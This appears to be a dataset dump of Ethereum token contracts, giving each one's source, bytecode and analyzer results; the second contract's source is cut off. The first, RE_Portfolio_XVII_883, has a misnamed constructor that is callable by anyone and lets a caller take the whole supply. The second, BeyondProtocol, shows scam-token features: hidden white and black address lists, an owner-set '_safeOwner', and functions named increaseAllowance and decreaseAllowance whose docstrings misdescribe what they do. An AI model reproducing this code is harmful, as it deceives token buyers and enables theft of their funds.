address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x88b269bf2f59bc3e57214db66534ecff8248649c
|
pragma solidity ^0.4.21 ;
contract RE_Portfolio_XVII_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_XVII_883 " ;
string public symbol = " RE883XVII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1563129872774660000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XVII_metadata_line_1_____Reinsurance_Research_Council_20250515 >
// < qm6Q02Aj145ts6T00DM0wfCSGPb93mzqx7HHlH3dLpg6C8302d8p222RRSHLIiHf >
// < 1E-018 limites [ 1E-018 ; 66649156,8621176 ] >
// < 0x000000000000000000000000000000000000000000000000000000018D428CDA >
// < RE_Portfolio_XVII_metadata_line_2_____Reinsurance_Solutions_International_20250515 >
// < 0O9dSBr57eKkz995E6a35NkfGP0VKg0ww0Izgf86H113g9KR261o832hLm5Gp3s2 >
// < 1E-018 limites [ 66649156,8621176 ; 102122323,191998 ] >
// < 0x000000000000000000000000000000000000000000000018D428CDA260B24E73 >
// < RE_Portfolio_XVII_metadata_line_3_____Reliance_Reinsurance_20250515 >
// < 73OsR47YVg2bJF2jVe0sy0y1tAkVKrLXLE4241Vh2aM09C9W9VDJn13hoaV8aYZk >
// < 1E-018 limites [ 102122323,191998 ; 151460586,825799 ] >
// < 0x0000000000000000000000000000000000000000000000260B24E73386C685AE >
// < RE_Portfolio_XVII_metadata_line_4_____Renaissance_Reinsurance_20250515 >
// < 2P6lQ6YMyZkTbQfx9k1htWIZE0VEJYZybE7HRAbXHP7lrlpx5X1K6o9J2zrVsIOg >
// < 1E-018 limites [ 151460586,825799 ; 164902193,27429 ] >
// < 0x0000000000000000000000000000000000000000000000386C685AE3D6E4C933 >
// < RE_Portfolio_XVII_metadata_line_5_____RenaissanceRe_Holdings_Limited_20250515 >
// < ZGJPzt5nkfWc3zij7Li2OqP61M1UL82VLAfHk0OR0oxQ2Jn73r179O9Uf9ot15d9 >
// < 1E-018 limites [ 164902193,27429 ; 202828094,342709 ] >
// < 0x00000000000000000000000000000000000000000000003D6E4C9334B8F31E4E >
// < RE_Portfolio_XVII_metadata_line_6_____RenaissanceRe_Holdings_Limited_20250515 >
// < 2LVo7CI7e0FYYGq06t93I5ckE8Q5C980k01k04GbviJebJ0d5Yb6JNMEDH9R8lXJ >
// < 1E-018 limites [ 202828094,342709 ; 213411057,081716 ] >
// < 0x00000000000000000000000000000000000000000000004B8F31E4E4F8077020 >
// < RE_Portfolio_XVII_metadata_line_7_____RenaissanceRe_Holdings_Limited_20250515 >
// < dt1865bWayXLgSu1N0jGxZoVx221KQQbS26zx8308adkv479vGf2F4bY1rtV3G8o >
// < 1E-018 limites [ 213411057,081716 ; 242012797,119591 ] >
// < 0x00000000000000000000000000000000000000000000004F80770205A2823AD3 >
// < RE_Portfolio_XVII_metadata_line_8_____RenaissanceRe_Syndicate_Management_Limited_20250515 >
// < 371c9sc85X3hHHN8QSU4Ozu9m1FUl46Q18pMeU7kFh8u59D687e7P40W0gdVa9if >
// < 1E-018 limites [ 242012797,119591 ; 261274562,124983 ] >
// < 0x00000000000000000000000000000000000000000000005A2823AD36155159C8 >
// < RE_Portfolio_XVII_metadata_line_9_____RenaissanceRe_Syndicate_Management_Limited_20250515 >
// < j6OmZ4Nyx0qqKvs7FQjqLWVOGzfH3Y80WMVLt5F1o6EHi789V24O0R457ZbIo68h >
// < 1E-018 limites [ 261274562,124983 ; 273438019,142179 ] >
// < 0x00000000000000000000000000000000000000000000006155159C865DD1502E >
// < RE_Portfolio_XVII_metadata_line_10_____Republic_Western_Insurance_20250515 >
// < 76BwRMoNypz12HN7UK6aHl4651mNz16DhUYWli89d1gn95pgas2jbE438YXX809C >
// < 1E-018 limites [ 273438019,142179 ; 289504354,439651 ] >
// < 0x000000000000000000000000000000000000000000000065DD1502E6BD949867 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XVII_metadata_line_11_____RGA_International_Re_Co_Limit_AAm_20250515 >
// < F1890Ak3N7mt9I3O7ulvqmZ8sd6tm7rI4TDe3k64NC11YquCOOCF6c3lPSzPPh05 >
// < 1E-018 limites [ 289504354,439651 ; 350711422,267671 ] >
// < 0x00000000000000000000000000000000000000000000006BD94986782A672B46 >
// < RE_Portfolio_XVII_metadata_line_12_____RGA_International_Reinsurance_Co_Limited_AAm_20250515 >
// < 5woc7HEQ2bsRm8hWxAzh36sD04j2MlW5ncDgnzarP04hDUo048Xr6559x0RoWUU7 >
// < 1E-018 limites [ 350711422,267671 ; 393308773,192233 ] >
// < 0x000000000000000000000000000000000000000000000082A672B469284D917B >
// < RE_Portfolio_XVII_metadata_line_13_____Ridge_Underwriting_Agencies_Limited_20250515 >
// < kzHU779R7j9f2pVKFUVk8xa6yGCM3dO5HDX4lSyFIo27guz1NTs2z0BFTyl49vIa >
// < 1E-018 limites [ 393308773,192233 ; 446866592,043051 ] >
// < 0x00000000000000000000000000000000000000000000009284D917BA67885078 >
// < RE_Portfolio_XVII_metadata_line_14_____RITC_Syndicate_Management_Limited_20250515 >
// < hIhfvD9IHLFl41IZ6zp4q9Y9XL680Xol8cNFS912z8r27QD11rId1ydm7LQELs1K >
// < 1E-018 limites [ 446866592,043051 ; 468481758,857593 ] >
// < 0x0000000000000000000000000000000000000000000000A67885078AE85E7101 >
// < RE_Portfolio_XVII_metadata_line_15_____RITC_Syndicate_Management_Limited_20250515 >
// < 8A90p5wt70VyZTI4j2T7HJ0n16gGn57wOS0l0JlFKf2V1EE1vQXOxu4nwSTY053i >
// < 1E-018 limites [ 468481758,857593 ; 482544258,896634 ] >
// < 0x0000000000000000000000000000000000000000000000AE85E7101B3C301D15 >
// < RE_Portfolio_XVII_metadata_line_16_____Riverstone_Managing_Agency_Limited_20250515 >
// < 84Gn1zPavc9472gN631ut1I960KLsk7lqdZU0eBdS8784Zj8rOTuN3WF2YiiXhbz >
// < 1E-018 limites [ 482544258,896634 ; 494183192,87572 ] >
// < 0x0000000000000000000000000000000000000000000000B3C301D15B818FB7AB >
// < RE_Portfolio_XVII_metadata_line_17_____RiverStone_Managing_Agency_Limited_20250515 >
// < IQd7R8m0fvD7ctlAwzRJG7A6DX4lGY0Bd8OeLb3sMyK89zuAou82v5h86z3Ca2Kd >
// < 1E-018 limites [ 494183192,87572 ; 549334957,019866 ] >
// < 0x0000000000000000000000000000000000000000000000B818FB7ABCCA4AA189 >
// < RE_Portfolio_XVII_metadata_line_18_____Romania_BBBm_Astra_Asigurari_20250515 >
// < I8fq42F5Foui35760yz22k0w6R26cC7PWu8owYGm97J9uPeD1G6Xo3kyB1TJqWV7 >
// < 1E-018 limites [ 549334957,019866 ; 572848734,803152 ] >
// < 0x0000000000000000000000000000000000000000000000CCA4AA189D5671CEFC >
// < RE_Portfolio_XVII_metadata_line_19_____Royal_&_Sun_Alliance_Reinsurance_Limited_A_m_20250515 >
// < w242gOOR25Us6um1u8l71LkYbmd7BJWN65E5LhAh526Q6XB90181jBQU4nGzNt9G >
// < 1E-018 limites [ 572848734,803152 ; 589000136,166686 ] >
// < 0x0000000000000000000000000000000000000000000000D5671CEFCDB6B6E424 >
// < RE_Portfolio_XVII_metadata_line_20_____RUV_Versicherung_AG_20250515 >
// < VZE1P98X8mArv1ACrEfXH1qJ15II980S1QO9d5ePT1RxH1Er2s0gE34SVnh8Ha64 >
// < 1E-018 limites [ 589000136,166686 ; 646640336,006221 ] >
// < 0x0000000000000000000000000000000000000000000000DB6B6E424F0E46DB34 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XVII_metadata_line_21_____S_A_Meacock_and_Company_Limited_20250515 >
// < fePjI68GX312ZR49D8T9p7kFBGZS1iRH23qR29w5f7Gy0c274850e82L15fsDpPT >
// < 1E-018 limites [ 646640336,006221 ; 721053372,819782 ] >
// < 0x000000000000000000000000000000000000000000000F0E46DB3410C9D023B5 >
// < RE_Portfolio_XVII_metadata_line_22_____SA_Meacock_and_Company_Limited_20250515 >
// < A1ICmPHTq18xXQqJO73F3YXvy22T36C07i64Ax6L4h7Np2U237Gi9UpXZmUUTjTr >
// < 1E-018 limites [ 721053372,819782 ; 795466519,12577 ] >
// < 0x0000000000000000000000000000000000000000000010C9D023B512855996FC >
// < RE_Portfolio_XVII_metadata_line_23_____SAC_RE_Limited_20250515 >
// < MtynOS1kmRP3C9n55rW5P070ugSdd589GvNW44ZpF07OFwNz3C53llc7XpLLZaDi >
// < 1E-018 limites [ 795466519,12577 ; 818365818,686248 ] >
// < 0x0000000000000000000000000000000000000000000012855996FC130DD725E0 >
// < RE_Portfolio_XVII_metadata_line_24_____Sagicor_at_Lloyd_s_Limited_20250515 >
// < d28I4Cd639Wr5RNlqv6T9rPr9PSY0n6PAU98evTFQGICilrgwY8E4pD5R0L35f3j >
// < 1E-018 limites [ 818365818,686248 ; 890688210,882252 ] >
// < 0x00000000000000000000000000000000000000000000130DD725E014BCEA5C54 >
// < RE_Portfolio_XVII_metadata_line_25_____Samsung_Fire_&_Marine_in_co_Limited_AAm_20250515 >
// < p4qWenq0PZX84IEB0h1Gi4gll1Sl5sqJuY2jB7kGj7J7740TxM0c6giPr57yZ0Ne >
// < 1E-018 limites [ 890688210,882252 ; 969497433,596497 ] >
// < 0x0000000000000000000000000000000000000000000014BCEA5C541692A7B0F3 >
// < RE_Portfolio_XVII_metadata_line_26_____Saudi_Arabia_AAm_Saudi_Re_for_Cooperative_Reinsurance_Co_BBBp_m_20250515 >
// < cP5jh2Ef308XM3Yt7kdsihL2Da5603LOr8d3d35b5ByHaKMP88pZuWFmx4TXHVDx >
// < 1E-018 limites [ 969497433,596497 ; 987038135,9652 ] >
// < 0x000000000000000000000000000000000000000000001692A7B0F316FB34ADD0 >
// < RE_Portfolio_XVII_metadata_line_27_____Saudi_Arabian_Insurance_Am_20250515 >
// < Hw826gcc780j3SoH1s8Arl72fc2MPWDTOr3We8zyjQONjqKC66zs72oXLO969kYE >
// < 1E-018 limites [ 987038135,9652 ; 1039763617,32425 ] >
// < 0x0000000000000000000000000000000000000000000016FB34ADD018357960F8 >
// < RE_Portfolio_XVII_metadata_line_28_____Saudi_Arabian_Insurance_Am_20250515 >
// < fNqZMr39ow8zZbd874N7Xx4hwn9lMXE5bk74BpYWpWj2K38BbJR107dC46xYkCFk >
// < 1E-018 limites [ 1039763617,32425 ; 1092036791,0843 ] >
// < 0x0000000000000000000000000000000000000000000018357960F8196D0BE978 >
// < RE_Portfolio_XVII_metadata_line_29_____SCOR_20250515 >
// < 28ZPMTKMK43VbL9FS877HQS9zriNAo50m6ImqUdJHI5cq8vAOH9T1BC7j131jf3K >
// < 1E-018 limites [ 1092036791,0843 ; 1120639740,70763 ] >
// < 0x00000000000000000000000000000000000000000000196D0BE9781A17888CAA >
// < RE_Portfolio_XVII_metadata_line_30_____SCOR_20250515 >
// < GQjn6QOz7OgVONSFZiGzb6z6IT0iuLoVVmyE20wVu5z9W0yrFe4TuJ32CNf4fI6t >
// < 1E-018 limites [ 1120639740,70763 ; 1182540752,26608 ] >
// < 0x000000000000000000000000000000000000000000001A17888CAA1B887DFF4E >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XVII_metadata_line_31_____SCOR_20250515 >
// < P857TQjxHo12yoqrnW1gtHM842h0C1JOZ9S2o4097wT0T68I94rnoOtEL28757Cj >
// < 1E-018 limites [ 1182540752,26608 ; 1193519281,05685 ] >
// < 0x000000000000000000000000000000000000000000001B887DFF4E1BC9EDE71D >
// < RE_Portfolio_XVII_metadata_line_32_____SCOR_Global_Life_SE_AAm_A_20250515 >
// < 2FT1n46P12ZAE8Jz614N56L0w9mn3L3xHxJ096Dw7xFqoJb1iDBKJ9HO8EtN69jU >
// < 1E-018 limites [ 1193519281,05685 ; 1209508505,67561 ] >
// < 0x000000000000000000000000000000000000000000001BC9EDE71D1C293B85FB >
// < RE_Portfolio_XVII_metadata_line_33_____Scor_SE_20250515 >
// < 9gI4lliSsLX8U5Cdfa34zp9Z9v5CE3ZOf84Msbb9S52R6757qrzB19OHzPs75j2e >
// < 1E-018 limites [ 1209508505,67561 ; 1268547499,53517 ] >
// < 0x000000000000000000000000000000000000000000001C293B85FB1D8921E0F5 >
// < RE_Portfolio_XVII_metadata_line_34_____SCOR_SE_AAm_A_20250515 >
// < LHMr9fn75mh59MmYMh5gareRNTLoX6M0a8t3F08Q6cSyXN37P233vNmvX328fb64 >
// < 1E-018 limites [ 1268547499,53517 ; 1316789437,2124 ] >
// < 0x000000000000000000000000000000000000000000001D8921E0F51EA8AD3BDD >
// < RE_Portfolio_XVII_metadata_line_35_____SCOR_UK_Company_Limited_A_20250515 >
// < 2Xgg4Vo0Sl01uFXp2701pg82FgJ5iH7Rs66SG7rtRdyf4TUN38xvC8PD2ew66h59 >
// < 1E-018 limites [ 1316789437,2124 ; 1334591476,70819 ] >
// < 0x000000000000000000000000000000000000000000001EA8AD3BDD1F12C8FD8A >
// < RE_Portfolio_XVII_metadata_line_36_____Scottish_Re_20250515 >
// < 7Ln56pONXgsgjQ5t1q4s0oZ0rERNGg9Nsnym0QeKPqjInINm4kWC009ZDuF23uhL >
// < 1E-018 limites [ 1334591476,70819 ; ] >
// < 0x000000000000000000000000000000000000000000001F12C8FD8A1FB1E5D790 >
// < RE_Portfolio_XVII_metadata_line_37_____Shelbourne_Syndicate_Services_Limited_20250515 >
// < Mer4HItM816fy42OfggK8GKZOp45uPv11CwB2f4P1Nps8hHsM4A8O7bxWrY5P5hW >
// < 1E-018 limites [ 1361286158,36557 ; 1394796329,78922 ] >
// < 0x000000000000000000000000000000000000000000001FB1E5D7902079A24E46 >
// < RE_Portfolio_XVII_metadata_line_38_____SIAT_m_Societá_Italiana_Assicurazioni_e_Riassicurazioni_pA_Am_20250515 >
// < aK9JLf9e0N55O0uYFb3IJn38CW76eNVX4lMXO0H04ru3ZfIpoCu7r6QU1i8PkoSZ >
// < 1E-018 limites [ 1394796329,78922 ; 1428673158,99868 ] >
// < 0x000000000000000000000000000000000000000000002079A24E4621438E3EAF >
// < RE_Portfolio_XVII_metadata_line_39_____Singapore_Reinsurance_20250515 >
// < BiupkAEyIABHtgmgxL3284TgqFtJYU5SCI9N1Gxiax3M7D3bD41Oxk1kV2Eqpcn0 >
// < 1E-018 limites [ 1428673158,99868 ; 1487993588,85547 ] >
// < 0x0000000000000000000000000000000000000000000021438E3EAF22A5220999 >
// < RE_Portfolio_XVII_metadata_line_40_____Sinopec_Insurance_Limited_Ap_20250515 >
// < 92h7i5Mr80p955Ah9k9Xjc1rv73O5jI8GGGL6NzG09R6384v426wlMBbKzlDLw2t >
// < 1E-018 limites [ 1487993588,85547 ; 1563129872,77466 ] >
// < 0x0000000000000000000000000000000000000000000022A52209992464FAE881 >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820892659153caba65f50919fa5078c8a896b7be25468be73ecc26591f0458a47be0029
|
{"success": true, "error": null, "results": {}}
| 8,700 |
0x8c33186b5e33a6b83126de02f7ccba9ac75c55bf
|
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BeyondProtocol is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IER C20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
